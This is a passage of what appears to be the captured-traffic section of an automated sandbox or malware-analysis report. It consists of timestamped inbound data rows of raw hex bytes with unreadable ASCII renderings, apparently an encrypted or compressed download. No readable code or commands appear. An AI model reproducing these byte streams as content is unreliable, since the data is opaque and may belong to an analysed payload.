c3 69 f4 28 8f cf 69 00 e5 69 2f 1c 45 18 b5 0b 6a 9b 2e 1e 9c 2f 81 8e c4 7f 86 65 b5 e0 46 ca 03 c7 be 0b 62 95 75 98 2e 
f3 0b f4 ec 0c 28 fa 22 2f be 14 f9 b1 ca b0 4e 17 0b 91 62 ab 84 15 91 b3 79 21 3a 48 2d c5 e1 51 f9 0c c9 df 45 3d e4 bf 
9b 95 3c f0 df d5 42 1e f8 ef f2 42 1e f8 ef 67 cc 28 4f bc eb 57 ed 83 5b 5e 74 e0 1e 14 b3 6c 2f 18 06 7b c5 24 9b ae b5 
dd 21 6d 96 bf 82 b4 37 d9 2b 7d 20 9e b8 72 7a cf a5 5c b9 9c f7 9c a3 cb 24 43 10 79 58 8c c7 b7 50 fa 57 f9 bc 9e 04 
87 41 ac 28 a8 4e 6f 0a 55 f8 58 63 e9 d0 
Data Ascii: ([5<hgSW_Ui|*hL|8|z/G"di(ii/Ej./eFbu.("/Nby!:H-QE=<BBg(OW[^tl/{$!m7+} rz\$CyXPWA(NoUXc

2022-01-13 21:05:25 UTC 1199 IN Data Raw: 4b e8 32 20 79 2e 12 9d 7d d4 80 53 4a 23 4c 9a 0e cc c7 fd a6 d0 25 c4 12 e0 7d 60 5d 4c 80 f7 29 5f 02 85 0f 
b3 49 73 63 e2 cc f9 c4 7b 85 91 b9 af 9f a5 73 df eb f7 52 e2 50 58 5a 4f 23 b3 d2 bd 9e 96 62 45 6c 71 bc 74 50 72 f3 8a 
9b 23 95 eb 0c 00 c9 3b 1c 96 3c 3a 6e 69 3e 99 fa ff b9 0e d4 cf 73 b7 71 7b 3c be 03 93 32 b6 0c 12 31 33 b6 61 ae 97 
cc d5 a3 da 90 49 2a de 11 d8 55 fa 70 29 d9 af 2c 77 02 14 f4 e3 a3 b2 9f 55 b6 fb 7c 85 74 a4 7b 2b 73 a4 32 26 e4 93 
e6 2f e7 1d 9d b0 9a 87 c4 09 44 da 58 a4 8f 78 cc 09 22 0b 9e cb b7 91 3d 36 cd f9 20 49 00 a0 6f f3 41 00 de 0f dd 5d a7
b7 86 50 0c f0 a6 c5 78 ac c0 3c 46 cf fc f3 63 9a 5b 60 a8 53 80 a8 af 29 7c 2f 86 8e 9f b8 a9 72 68 7b 1d e3 5d 8a 82 38 
09 57 34 a0 d5 00 e3 7e 85 16 d0 99 36 c1 14 
Data Ascii: K2 y.}SJ#L%}`]L)_Isc{sRPXZO#bElqtPr#;<:ni>sq{<213aI*Up),wU|t{+s2&/DXx"=6 IoA]Px<Fc[`S)|/rh{]8W4~6

2022-01-13 21:05:25 UTC 1200 IN Data Raw: 1d 2a c1 de 0f f2 f3 3d 5a 97 de 1f 74 fb c1 7f 4d 26 6c c4 e0 55 af cb 9f c6 59 b6 1b c4 bb f4 c4 26 27 e9 49 1a 
c4 7b fc e9 e0 68 ef 68 2f 88 f7 c5 b7 83 bd 83 6e 10 1f f0 7a fb fb 7b 7b 87 41 7c 28 4a ee 9d ec 1d 04 f1 11 3d 65 7b bb 
93 dd 49 10 1f d3 d3 f8 70 f7 78 f7 38 88 4f e8 69 74 d4 1b f7 c6 41 7c 26 bb 3f 4e 8f a1 d1 b3 5d f1 78 b0 7b 00 a3 39 db 
17 8f bd a3 fd 7d 78 14 ed 42 d7 dd 2e 9a 50 14 d5 1c 16 40 b8 1e 8a 7d 30 e5 d1 1e d5 c7 74 fe 0b 7d 59 f4 83 83 6e 0b 
ba 6b 41 1f 2d 98 59 0b fb d6 05 81 df 2c 8b eb d7 58 5b 96 87 de 5b d0 57 0b 26 d7 3a c2 0a 58 13 c7 d4 c2 91 04 ab 78 
86 f2 34 01 ce 31 db 67 63 05 ce e3 d1 28 eb 4a 70 4e f6 8f 27 a3 9e 04 e7 a4 7b b8 7b b2 ab c0 39 de ef 1e a5 12 9c ec 
a4 c7 0e f7 24 38 b3 e3 de e8 b0 2b c1 39 de 
Data Ascii: *=ZtM&lUY&'I{hh/nz{{A|(J=e{Ipx8OitA|&?N]x{9}xB.P@}0t}YnkA-Y,X[[W&:Xx41gc(JpN'{{9$8+9

2022-01-13 21:05:25 UTC 1201 IN Data Raw: 59 3a 19 ed ef aa 53 7b c2 4e b2 dd 7d c5 8c c0 cd 81 f3 96 cc 08 1c 53 e2 3e 44 ff 40 cd ec 6b 66 64 8c 30 eb 
6a 3a 1a b0 70 33 6f b7 06 66 0f c1 8a c3 e8 0b 43 79 a8 e2 80 27 99 01 25 58 59 c4 66 92 65 82 85 cd 14 cb 86 1c a8 22 
54 00 09 b1 83 63 c5 01 03 4a da 1b 49 28 4d b2 ec 58 73 c0 13 20 07 77 33 09 25 60 aa 8f 77 0f 24 94 26 07 47 13 13 4a 
f0 df 71 66 b0 6c 02 2c aa cb d4 80 12 0c fc f0 01 28 ad e2 14 c3 26 e9 a9 1e b3 9e 9e 2a 83 03 a0 a7 ca ba c7 bb 7a aa 
d9 01 72 92 b2 df 71 ba 6b 4c 75 
Data Ascii: Y:S{N}S>D@kfd0j:p3ofCy'%XYfe"TcJI(MXs w3%`w$&GJqfl,(&*zrqkLu

2022-01-13 21:05:25 UTC 1202 IN Data Raw: dc eb 2a 66 60 32 19 ed 75 15 77 3a 99 a4 c4 94 8b a9 4e 8e 69 f8 62 aa 93 43 3e 19 d5 3d cc dd 98 6a 76 b4 
6f 4e 75 bc 6f 4d 35 1d 3d 38 d5 72 8e 21 94 f5 5c f7 58 d7 98 6b 77 b4 ab e7 3a 1e a3 9c 41 ce 75 74 b4 9f e9 b9 a6 47 
bb 87 7a ae 27 c7 5d 85 75 27 a3 e3 b1 31 57 e0 90 f4 5c 19 e0 55 3d 57 06 cc 8c 35 d7 ac 67 09 36 80 55 35 e7 7a d2 b3
e6 7a 98 fd ae cd ff 18 64 a1 11 05 e7 16 39 cc 14 96 1d b1 13 f3 2c 8c c7 a3 b1 06 5a 3a 3a d1 e2 8b c9 71 7a 78 a0 81 
76 d4 dd df d3 40 3b 38 da dd 55 40 db 3f e8 21 ee 3c 12 80 01 fe fa 44 02 2d 3b de df eb a9 b3 30 9a ec 1d 76 4d 69 d0 
09 b3 80 76 c8 2c a0 ed 65 06 d0 b2 6c 77 fc af 90 06 49 a2 9d 73 84 8f a5 dc 15 69 6a 10 ef a3 79 f9 59 91 00 28 65 d3 
b7 d7 11 5c 4a ea f6 1a 8d d3 34 55 f4 53 da 3b 3e 3e 52 
Data Ascii: *f`2uw:NibC>=jvoNuoM5=8r!\Xkw:AutGz']u'1W\U=W5g6U5zzd9,Z::qzxv@;8U@?!<D-;0vMiv,elwIsijyY
(e\J4US;>>R

2022-01-13 21:05:25 UTC 1203 IN Data Raw: 98 35 ee b0 40 0d 70 66 89 5b 2c c1 5d cf 9f 01 13 b6 90 a6 53 15 f7 15 5a c4 1f 5f bf fa f3 b7 17 1f 5f 9c bf 3c 
fb f1 f5 c5 c7 6f 7f 3c 7f df ff 14 7f 7c 71 f6 ee 3b fb e5 66 fc f1 87 b3 d7 e7 17 17 f0 7b 16 7f bc f8 f6 fc 0d fc 4a 63 6e 18 ff 
ee 0e 81 f5 26 fe 88 57 55 ff e3 ca 89 b3 20 c3 f4 7d 69 8e 40 b7 51 a1 93 1f 45 f0 2b 84 9d 8b 27 0c 70 be 58 60 cc 35 7e 
b8 5b 7f ea 61 18 60 71 c0 5b 7f da dd 08 94 29 7d f0 a7 1e 7a d5 1a 39 d9 8d 4f bb 78 b8 b4 bd a8 19 bb 4d da 0c a6 da 
37 b3 85 bf 85 7d 3f 46 24 41 82 47 26 63 e1 b1 96 15 6e 8a 86 88 7b fa 68 c1 2c 83 8b aa 33 ba b5 75 ae 6e a1 42 a0 27 
c7 fd bf 94 58 ab ba 12 c4 0c 23 54 15 03 ba 5b f4 cd f3 43 18 70 c1 53 94 d3 71 76 22 eb 50 cc 5e 6e d0 64 22 77 1e 1f 9
a 25 14 57 c8 09 aa 4a fb 3f da c0 
Data Ascii: 5@pf[,]SZ__<o<|q;f{Jcn&WU }i@QE+'pX`5~[a`q[)}z9OxM7}?F$AG&cn{h,3unB'X#T[CpSqv"P^nd"w%WJ?

2022-01-13 21:05:25 UTC 1204 IN Data Raw: bd 46 45 e4 46 80 ef 41 bb 77 ca 63 54 72 cf 07 16 93 4b c7 26 6c a5 3a e3 39 33 8e 3f a1 c3 4f 02 1d a6 8f 47 
87 e8 09 a5 2e 97 84 0d 74 32 40 19 d8 7b 50 b5 db 83 28 07 1e 80 e7 95 33 ae 96 fe 75 c3 cd c2 9a 6e 96 e5 72 d6 31 af 
57 b8 9c b6 b6 36 4c f1 d8 ad c0 f1 2e 17 d8 52 1e de 30 5e 09 0e c4 39 23 1e 7b d4 5a 2f 14 6c 85 51 9f 79 22 3c db b5 
57 a8 30 69 46 b3 e3 28 be a5 fd 40 48 ee 2e 81 1b eb 33 0f 67 6b 89 a4 70 bd 71 dc 08 4a eb e6 bd 0b 29 8a 9f 79 7e 4b 
2b fc bd 7a fd 26 cc 28 c0 f3 fd 46 cd b5 6e 63 76 19 32 cd 90 f1 d0 0a 3c 13 63 8d c2 fe b9 bc 6b 2d ee 50 e2 05 0b 9d 02 
a3 2a 28 6e 4e 51 4b 2e 1e 16 59 52 dc 3d a4 b8 77 e5 17 93 e0 16 af 90 dc de 73 c9 ed 1a 79 bd eb 90 d3 7b 36 eb 31 
73 58 0f 9c 2c 52 3a 95 76 cb 27 8c f7 f1 fb b3 37 e7 
Data Ascii: FEFAwcTrK&l:93?OG.t2@{P(3unr1W6L.R0^9#{Z/lQy"<W0iF(@H.3gkpqJ)y~K+z&(Fncv2<ck-P*(nNQK.YR=
wsy{61sX,R:v'7

2022-01-13 21:05:25 UTC 1205 IN Data Raw: 5c c3 ea 79 f7 1b 2d 0c e8 f1 0c c7 c5 4e 02 14 d4 4e 02 44 d4 4e 92 47 f1 a5 1a 7c 11 f7 0e a3 58 3d 96 f6 63 
8e 8f 57 c6 36 ff 68 01 86 0d c3 7d bd 26 34 d9 73 b8 31 66 b8 5c 71 35 64 3c ed 58 1f 27 42 bf e0 25 14 0a 0a ca d0 ab af 
37 d4 11 ba 57 1e 26 8f 96 6b 3d e4 26 3e c0 f6 4a 5e 24 00 24 16 93 b0 2e 0a 78 4c 33 e7 23 c6 00 a3 f7 db 64 2e b4 1d 
05 40 b6 be eb 00 e7 7f 37 4d e7 4d 1e f2 22 90 e8 a2 83 39 1f c6 c2 a1 bf 66 a0 66 1b a4 a9 3a f9 18 b3 9c 7b 3f 7d ca 
e7 d5 5d 3a 7d c7 66 70 30 30 cd 82 21 49 60 0f c4 e6 74 c2 6e 72 57 fd 5a c2 5f 1d b0 d3 48 15 ec 26 11 86 23 bc b0 8c 
53 e2 7a 20 e7 a6 a0 03 7e d0 44 96 9c fc 4d 76 66 7c 7c 5e 61 b2 55 c1 0a 4e 59 b2 7f 1c 8f 59 72 10 df b2 e4 38 be 63 
c9 6e 3c 63 a8 31 06 d4 9d ce 33 0c 74 92 04 02 50 
Data Ascii: \y-NNDNG|X=cW6h}&4s1f\q5d<X'B%7W&k=&>J^$$.xL3#d.@7MM"9ff:{?}]:}fp00!I`tnrWZ_H&#Sz ~DMvf|
|^aUNYYr8cn<c13tP

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1207 IN Data Raw: 40 ba 7d 06 82 12 e3 23 cf 5c 5b 90 6f c5 87 89 37 94 de 86 f1 5b 84 33 75 5e c4 15 c9 88 58 72 33 60 66 72 
65 43 35 69 32 21 ed 45 81 49 96 e2 0d 27 d9 18 60 00 15 6a 33 e4 96 31 8e f4 e0 1e 6b f6 19 92 3f 48 80 f6 03 0a bc 48 
ba 9f 4e 55 be 2e 3f b3 f9 f3 14 33 8e 0f b1 4c ff 06 f3 44 66 f5 fe 79 92 27 28 21 0d 2a 1e 2c 38 30 fb 2f 78 e7 05 06 83 1b 
84 9f 92 fb 5b a0 c0 fb 98 87 35 76 88 f2 be 2f ad 6b 87 d2 c7 d0 49 68 cf e9 28 e8 e8 af 71 0b bf 4a 16 ab 8d c8 cd 08 0d 
1b 89 f6 1f df b0 2c ef 6b 57 7e 43 af 9c a9 82 d5 dd 94 26 1c e7 88 44 d5 5b 7a e2 1f 68 ee 8c 18 80 98 2f 47 07 ff 89 91 
77 ed 5b a9 69 30 fb 6d 9e 7c ea dc 4d ed ec 2f 17 3c e0 6b 18 4c 73 e8 fb 53 67 d3 83 26 51 d1 21 24 69 a8 59 6d b1 a8 
16 69 ba 40 61 4d 75 59 58 29 63 50 a1 67 9a 
Data Ascii: @}#\[o7[3u^Xr3`freC5i2!EI'`j31k?HHNU.?3LDfy'(!*,80/x[5v/kIh(qJ,kW~C&D[zh/Gw[i0m|M/<kLsSg&Q!$iYmi@a
MuYX)cPg

2022-01-13 21:05:25 UTC 1208 IN Data Raw: a9 6e ed 27 ce f1 0b 09 8c d8 3a 5a 32 cf a2 86 83 ff 37 b5 66 26 ab cd 91 a9 16 1f 58 69 2d 36 7e 36 13 55 88 
81 92 6c ee cf 98 d9 62 8e 78 cf ec e2 67 dd 45 68 ca 88 a0 34 9e 4b 94 15 c1 d3 c6 73 a3 ca 77 86 2f eb ac 03 54 7c 3a 
93 f9 ef 96 4b 12 5c 39 6f ed d3 6e 88 b9 74 9b 7f d6 c3 d8 70 65 bb ba d4 df ad 52 a4 12 b1 ce 9f 2e f9 57 bd db 7f d5 e7 
e9 52 9c ff 2b a3 e7 ff 56 25 2d 24 44 b6 98 62 00 4f 93 ff 31 41 f6 17 c2 82 de ab de ec 8b 5d 79 36 3e df 42 0f b0 8a 83 
4c 25 dd 0d 81 4e 6a 05 3b 35 ad 49 1c 00 97 8a 72 37 0a 9f 5f 71 7e 01 a8 1c 12 63 92 ca be b3 39 07 e6 90 91 9b 0f d2 
b5 98 93 d6 1c aa 83 b9 cc 71 c7 3f 85 24 77 e2 b9 0c b4 fe 96 85 1a 83 02 ca b4 75 07 26 d2 32 f2 c7 61 9d 9f 50 06 1d 
3b 28 7e e0 cf b3 fb 89 cc 5a 9e df c1 3d 7b 2b 
Data Ascii: n':Z27f&Xi-6~6UlbxgEh4Ksw/T|:K\9ontpeR.WR+V%-$DbO1A]y6>BL%Nj;5Ir7_q~c9q?$wu&2aP;(~Z={+

2022-01-13 21:05:25 UTC 1209 IN Data Raw: 0a 9d 71 53 82 8a 3d 68 47 8d ee f8 a8 9f a8 db 50 bb f1 3b 9f 19 25 6d d3 66 6d ff dc 6c da ac cd 9f 85 59 f3 
e6 fc ec 25 fe 2b 4f 87 61 47 91 c6 59 5c c5 c2 70 38 be 53 18 56 47 f6 3c 0f b8 23 be aa 82 86 c7 d2 af cc dc af 8a 9a 53 
f6 f2 1d 9e ae 11 0d 4e 76 54 f2 49 e3 33 aa a4 e0 1b fa 5e a0 a4 3d e0 c5 e1 9a e1 22 f9 55 c5 35 b0 f4 4f 58 c6 0b f4 62 
36 08 1a 4a 41 9a ff c6 c8 41 35 cc 93 69 3d d5 37 5a 73 92 be 3c 8a 94 b1 8e 1c 67 e6 b5 66 7e a0 99 98 b2 7d 1f 76 63 
92 53 02 c9 35 98 db a2 f7 a9 6d 17 82 71 fc 5c 93 10 a3 37 a7 a2 29 b3 27 97 1a 8e 3b 4b 65 b8 31 30 14 df 2a cd 2b a5 
4c 2e 00 cd 71 39 9a 00 a6 9c 2e 2c 3c 07 12 b9 d2 a5 55 3e c6 3a 9e 49 52 46 66 05 a5 ad ad b1 10 23 9e de 66 6d b9 
75 9f 02 c7 fa 85 24 88 9f cb f9 2f ad 19 d9 0b 4c 
Data Ascii: qS=hGP;%mfmlY%+OaGY\p8SVG<#SNvTI3^="U5OXb6JAA5i=7Zs<gf~}vcS5mq\7)';Ke10*+L.q9.,<U>:IRFf#
fmu$/L

2022-01-13 21:05:25 UTC 1210 IN Data Raw: d9 53 87 b3 c1 02 1c f2 c4 2b 1e e1 d9 dd 64 02 fb 4b a9 33 16 8c 0e ee a4 9c df d2 6a 4a a2 10 3e bc 2d 00 
d8 f6 0b de 9c 7a 87 26 e2 33 d8 33 99 6a 4f dc a5 af 32 bd 59 d0 34 fe 22 1d 71 b2 57 ef 28 1c cc 19 c9 c1 5f a0 9f 57 32 
95 73 90 91 62 75 03 59 a6 bd 87 03 7a 12 bd 71 40 e8 6f e2 39 90 5b 23 27 8b ce df cb 3a 2e 64 18 84 b8 99 73 34 d5 10 
03 17 26 92 08 59 b4 c5 4b 0c aa e3 52 a9 dc db da 47 f3 17 d7 ed 5b 6e 20 b4 5c 8a 63 57 dd cd de 93 b4 8a c6 27 eb 69
98 89 78 97 35 b5 d4 73 9c 18 1f 31 e1 5b 39 3b 7e ae 6d 5a 86 77 f3 4a 9e ab 90 13 88 f0 ea 27 3e 09 fe 72 15 ad ed 9c 
ab d1 b4 53 1c ef d3 58 6f db 3b ae aa 6d 07 1d a2 05 23 0e 93 3f aa b9 0a 9b 65 f1 82 4b 28 cd b5 90 8e 42 6c 20 b8 0e 
73 70 68 0b 3e 88 44 a4 70 22 ca ec 26 ed 69 3f c0 ce 
Data Ascii: S+dK3jJ>-z&33jO2Y4"qW(_W2sbuYzq@o9[#':.ds4&YKRG[n \cW'ix5s1[9;~mZwJ'>rSXo;m#?eK(Bl sph>Dp"&i?

2022-01-13 21:05:25 UTC 1212 IN Data Raw: c4 4f e8 cf 22 f0 c4 b6 ad 4b 27 bb b5 b6 68 38 eb db 10 82 4c 5f 5d 2e d0 7c a8 ba 14 7b fa 5a e0 e7 ee a1 16 
78 a9 5a 0b 16 6d d2 20 72 72 a5 f2 43 fb ad 21 e5 6f fe d2 d9 fc 24 9d 05 fb de 46 11 b3 7d d2 9f b5 a4 78 60 52 83 ca 6d 
77 48 ce 77 75 24 e4 9f cc d7 4e 23 5c 33 0f cb ef 31 30 b6 a5 a7 ac 74 88 8c 1e 98 73 82 67 c4 9e 76 e2 4e af ce f3 78 
2e 50 13 48 d4 e0 ad a8 a2 28 1f f9 22 b1 ad 3d e4 6b 11 ed 0c 0d 97 ad f7 9e fb f8 69 62 95 b0 47 4b 11 f7 01 37 10 30 
6a 4b 51 b8 00 35 03 cf 40 83 6d 61 ee b5 d1 cc ed d5 14 50 b0 c3 44 9f 61 e4 63 9e c4 c2 d8 d1 ff 04 f2 b3 46 cb 0d 54 
55 34 f8 7a 37 b0 fa dc 8f 1e 83 36 61 20 f9 85 2d 4a 06 c6 10 c7 a0 f8 3b 71 83 3b 1a b6 90 27 61 f4 10 1b 6b 69 0b 89 f1 
75 a2 28 2f 2a f6 80 07 d3 1d e7 18 ad ca 87 a7 
Data Ascii: O"K'h8L_].|{ZxZm rrC!o$F}x`RmwHwu$N#\310tsgvNx.PH("=kibGK70jKQ5@maPDacFTU4z76a -J;q;'akiu(/*

2022-01-13 21:05:25 UTC 1213 IN Data Raw: 77 80 29 47 58 eb c0 b4 9a aa 35 62 b2 c9 fe 9a e8 5b 5d 40 75 bd fa 3b f5 c9 d3 06 40 a7 8d 60 c3 7f 7e b7 b6
ec 65 d3 ac aa 80 8b af eb 29 37 84 76 86 6c 59 3f 84 b4 83 23 58 96 0f db 1f b6 61 65 f8 8e de 81 c7 0e fc 7f b5 72 e7 
6b 9d 1b 51 6b c7 1e 9b b6 df 86 f6 b0 40 6d ba 38 5f 9e 60 e5 b1 f3 35 b8 76 ff 84 e5 36 ad 94 2f 86 07 a7 49 13 96 0b 20 
08 29 c2 c4 d3 d3 27 b0 d5 dd 9d 0f a3 cb 27 4e 75 6b e2 ee 74 9c a3 c2 45 7d 46 08 6e a7 b8 3e 34 ed 9e fb ed 51 f3 e0 
a2 ca a6 59 9c 3e 11 8d e8 37 9e f3 ec 86 09 97 b3 7e e4 82 18 38 a5 86 39 1e 35 07 a2 3b 9a a7 a0 9f d4 74 f8 f5 f8 74 
1b a8 ad 6d 55 90 a6 e1 5f 0b 4e 52 fa 01 df b5 de af 39 2d b6 61 a1 b3 93 0d dd 7d ad a2 6d 72 10 ba 88 4b 5a b8 7b 20 
c3 89 4b b7 b4 38 2f 56 69 93 1e 76 76 25 d4 a0 2c 
Data Ascii: w)GX5b[]@u;@`~e)7vlY?#XaerkQk@m8_`5v6/I )''NuktE}Fn>4QY>7~895;ttmU_NR9-a}mrKZ{ K8/Vivv%,

2022-01-13 21:05:25 UTC 1214 IN Data Raw: bc 09 1a ee 4d e7 de b2 c7 f4 ef 73 88 a6 a5 6b 72 b0 8c bf de 59 da 05 1c 91 c4 02 21 ac d5 d6 c0 f7 bf 62 d9 
f0 7e 93 ea f0 64 c9 0e d2 68 f0 da d4 fe 21 06 22 dd da da f0 bc f5 b8 06 9e c2 8d ef cb 70 e5 c9 93 3d a8 85 45 56 8e 97 
6b a9 9b 81 8a 2d 25 c2 f0 a2 31 b8 3d 37 99 ca de 17 4b f7 d2 84 12 25 da 71 6a ff 8b c2 00 34 c5 aa f1 e9 c8 7e a7 d2 
cb b8 1a 30 a4 84 48 37 eb ea be 4c a9 10 af 21 30 62 93 cc cc b9 71 24 ac 9c 0a 3c 7b 8a bf 86 bc 29 c3 75 cd 99 32 21 
37 39 a5 bf 59 f3 32 b7 2b 13 93 c9 d5 e4 6d 4a f1 2c e5 35 b5 ce ed 4b dd 92 1d a2 b4 47 6e 6f 94 d9 2d fc a3 b0 8e 80 
5d bd 96 87 d8 14 e0 3a df 5b d6 7f 68 24 cd 8a bb 76 c3 5a b5 17 77 d7 d7 b0 29 61 3f 2d ea f2 79 c9 de 51 72 aa a6 41 
1b 89 9c 3d 0d a0 5d 05 a5 b5 6a aa ae 52 46 d7 2a 
Data Ascii: MskrY!b~dh!"p=EVk-%1=7K%qj4~0H7L!0bq$<{)u2!79Y2+mJ,5KGno-]:[h$vZw)a?-yQrA=]jRF*

2022-01-13 21:05:25 UTC 1216 IN Data Raw: ae 84 87 4f 71 6b 0c b4 f7 88 b5 c8 9e 8c 6a f4 b6 63 fe 63 77 9b 1c 23 e8 f7 de 36 c0 4e 35 c5 a1 97 f3 4d 93 
e0 fc 61 c1 cb 58 4e 56 02 81 4f 9f cf f5 12 8b a2 2b f1 a3 47 fe db 36 8d 8d 06 06 03 44 db 5b ee fb 71 79 af 12 be d2 11 
58 ac ae e2 d6 e8 ae 6a 7d 4e 17 46 b1 ed 7b fc 4d 25 56 38 7a a7 52 df c4 d9 85 b2 a8 c0 64 b0 aa 5e 1f c7 8f da 04 be 
2d c4 a1 ee 57 70 d2 97 4b 0c 10 66 d8 23 8c e3 79 43 0e a8 b3 c0 b0 6d f9 c7 90 5f 5b 78 9b 79 48 c0 9c 6f b5 69 5d a4 
4d 26 00 04 9f b8 42 54 ce 34 2a ef f7 b9 7f d8 72 99 76 60 9b 63 72 28 59 16 d5 c0 f2 77 c2 d4 b9 c6 2a 98 4e cc 74 fd 96 
08 48 57 20 5f 14 89 5f 36 c8 a7 00 73 9f 96 cb e5 bc 21 22 b2 5b 17 33 53 0e ea 34 6d 01 54 2d d0 b4 0a 7a 39 2c c0 7d 
c0 73 a7 c3 49 42 51 6a 39 69 f1 70 ff 14 53 41 
Data Ascii: Oqkjccw#6N5MaXNVO+G6D[qyXj}NF{M%V8zRd^-WpKf#yCm_[xyHoi]M&BT4*rv`cr(Yw*NtHW __6s!"[3S4mT-
z9,}sIBQj9ipSA

2022-01-13 21:05:25 UTC 1217 IN Data Raw: 82 82 cd bd e0 2e 32 8f 8c 1e 14 74 44 b8 b3 fa 1d 16 0d c8 c7 80 54 61 e8 e6 21 4c ba c2 c6 e2 46 28 b7 6b 
56 e1 38 5e 65 32 92 96 01 0a 94 cc 29 e4 ae f3 56 3e fb f2 0a a5 b6 83 12 65 6f 46 af 69 96 35 76 19 97 76 d0 1e 13 b8 
8c a7 87 17 d4 d2 43 60 b8 54 34 e7 15 ca 90 d1 4a 5e c6 45 72 63 62 e3 96 7b 6f 9e a4 86 1d ef 21 3a 5c b3 d3 86 f5 50 
32 c8 c2 03 7d 54 7e 79 d3 2e f0 11 61 96 67 ca 10 89 5c 2e 1f 4f 33 b8 1f 5e ab 86 f5 40 c8 af 1f 04 19 99 c0 3e ae d3 36 
ac 16 a7 f3 8c c0 f7 72 5e de 4a d2 a1 09 a6 82 90 1c a8 88 e2 9f 6f f2 f1 8d 8c 27 ce 63 f8 f7 85 b3 11 ef 34 10 21 a3 ad 
78 d4 d2 1d 09 bd 68 e7 94 6a 5c 96 32 e2 73 9b 85 a6 6c a2 cb bc 78 fb d3 f7 56 99 16 72 f2 55 0a 83 1f f2 e2 33 60 ea 
db 44 78 f4 45 27 e5 67 fe 2c db f8 f1 87 47 b4 70 
Data Ascii: .2tDTa!LF(kV8^e2)V>eoFi5vvC`T4J^Ercb{o!:\P2}T~y.ag\.O3^@>6r^Jo'c4!xhj\2slxVrU3`DxE'g,Gp

2022-01-13 21:05:25 UTC 1218 IN Data Raw: ca 39 16 58 00 f7 a1 24 1d 5c cc 28 84 1d 40 ba 23 96 2f 93 ee a0 3c 3d 1a 94 3b 3b f2 76 6b 2c 7f 43 61 07 d0 
41 41 68 b2 93 ea 32 2c 77 58 f4 a7 a3 2b 60 52 54 2c d2 69 86 97 a1 cf 49 93 a8 3a a0 2b 79 d1 b0 70 60 e1 c3 52 2e 06 
d1 72 46 71 29 20 ad bd 4e ee 6b 33 1c 85 bd b6 75 d1 15 97 26 d5 50 44 48 e6 20 0f f6 2a 99 d4 07 f5 40 ce cc 9b a4 04 
6e 3e 08 73 f0 94 78 ca 38 76 64 ac 26 24 3c 98 02 29 2a 6a 17 62 09 9c b9 16 00 92 5a 6c 6e 1f 08 29 46 aa b8 00 c9 94 
07 f5 d1 9a 2f 2f 60 57 e0 8a e2 e6 0a cb d8 ca 42 66 08 86 bc 85 db 9e d2 86 5c c8 aa 42 a7 b2 a1 07 25 09 f2 d7 f0 75 
a3 a4 4d de 81 1d f9 2b d4 ba 90 f3 b0 cb 73 11 11 95 44 6e 93 9f cd 8a bd 9d 70 46 b3 b4 0a a3 d8 48 16 c5 7c 06 76 c9 
55 8e c6 b9 ae 7a 60 0a f4 06 6d c2 3c 2e a4 52 09 7f 
Data Ascii: 9X$\(@#/<=;;vk,CaAAh2,wX+`RT,iI:+yp`R.rFq) Nk3u&PDH *@n>sx8vd&$<)*jbZln)F//`WBf\B%uM+sDn
pFH|vUz`m<.R

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1219 IN Data Raw: d8 1b 75 57 28 79 71 a4 a6 0f b4 d7 ab 25 9d ff f7 28 aa ac 8d f2 9f d0 53 3d c6 8e d1 d1 50 90 52 c2 12 03 02 
96 7e 40 4b a1 37 aa 5f 64 ed c5 50 e8 90 aa 74 19 73 ae cb 48 51 21 f2 08 45 c6 3c 49 6b 92 e0 bc 59 95 e1 2f be 5e cb 
e0 af 73 d8 ac 67 68 e8 e4 30 5a 01 c0 e6 1c c4 19 80 52 c8 55 86 a9 5f d7 20 bf 47 7d 82 c8 02 6b 08 e6 b1 b1 86 90 c7 
50 8d 01 8e c3 57 4e 43 d6 d0 47 cc c9 25 ce 50 98 d1 cb fa 1a 4a 9b 74 19 96 9b fd 3f a7 f4 1b 16 d6 51 f3 08 49 fa 95 33
cf df a7 11 2c a0 4a 5d 17 68 e7 b6 ad 6d f7 26 09 90 75 bf 54 c4 e8 0f 4d 62 a0 c1 f3 c6 67 27 d3 af 6a 66 2f c2 7b 8a 71 
8b c4 4f ff 97 b4 3f 88 f5 b8 f2 a7 ce 74 34 d2 9f e6 23 e7 58 7c 2d 5e 49 3f 59 4e a5 93 e7 2b 7e 7c 4b 8f c1 ca a4 5a 3f 
b9 64 2b 2f 8a ed fc 01 e2 35 c6 a8 02 3d 8c 
Data Ascii: uW(yq%(S=PR~@K7_dPtsHQ!E<IkY/^sgh0ZRU_ G}kPWNCG%PJt?QI3,J]hm&uTMbg'jf/{qO?t4#X|-^I?YN+~|
KZ?d+/5=

2022-01-13 21:05:25 UTC 1221 IN Data Raw: 56 f6 c9 2e 75 ef b2 05 fd 14 5b c6 43 22 21 53 17 d9 15 c6 70 de a4 d5 4d 67 32 2d e1 2e 0f 2b 6d 19 60 6c f6 
76 2f 7a 72 84 7d 99 c6 e7 0d 31 ed bf 16 ad ef 54 66 c3 e2 b6 cd e2 ba 49 ba 2f 7a f3 e3 7a e3 71 25 63 65 ea e8 1f b9 
31 a6 24 a9 f4 c3 d6 56 4a e5 68 bd 2c 07 1d 7f 3b bd dd 6f 38 18 f5 70 da ce f0 a2 1d 5e 42 0c b0 6d 8e 96 06 aa c4 08 fd 
45 2c 8c 5b 70 cd 2f 4a 19 92 a7 3f 8d 7d 91 7a fa e3 b8 66 12 e9 08 fd 64 d0 91 31 25 6a 4e 30 8e cf 70 8c 32 65 e1 82 
81 21 6a e1 45 21 65 f0 dc 62 64 23 5f 2e f3 d3 a4 24 4b 49 c0 48 40 98 cd cd 75 23 79 9b 1f 1e 68 91 0c 30 11 00 34 15 
47 4d 29 9c d7 c2 6e 15 2b 99 7f c3 cc 14 95 82 f1 ce 4f 2b 0a 16 ad 83 f7 58 a2 a0 62 6b ab 38 65 76 89 c2 2a 51 f2 40 
e3 ae fe d9 da 8c 18 9e 18 f5 b5 37 e9 a2 59 16 15 
Data Ascii: V.u[C"!SpMg2-.+m`lv/zr}1TfI/zzq%ce1$VJh,;o8p^BmE,[p/J?}zfd1%jN0p2e!jE!ebd#_.$KIH@u#yh04G
M)n+O+Xbk8ev*Q@7Y

2022-01-13 21:05:25 UTC 1222 IN Data Raw: 7d 60 92 33 f8 45 fb ed 85 b4 31 fa 23 b6 49 26 16 64 52 b9 57 bb b0 68 8d 00 39 b9 5f 4a c2 3a 37 49 f0 d1 a1 
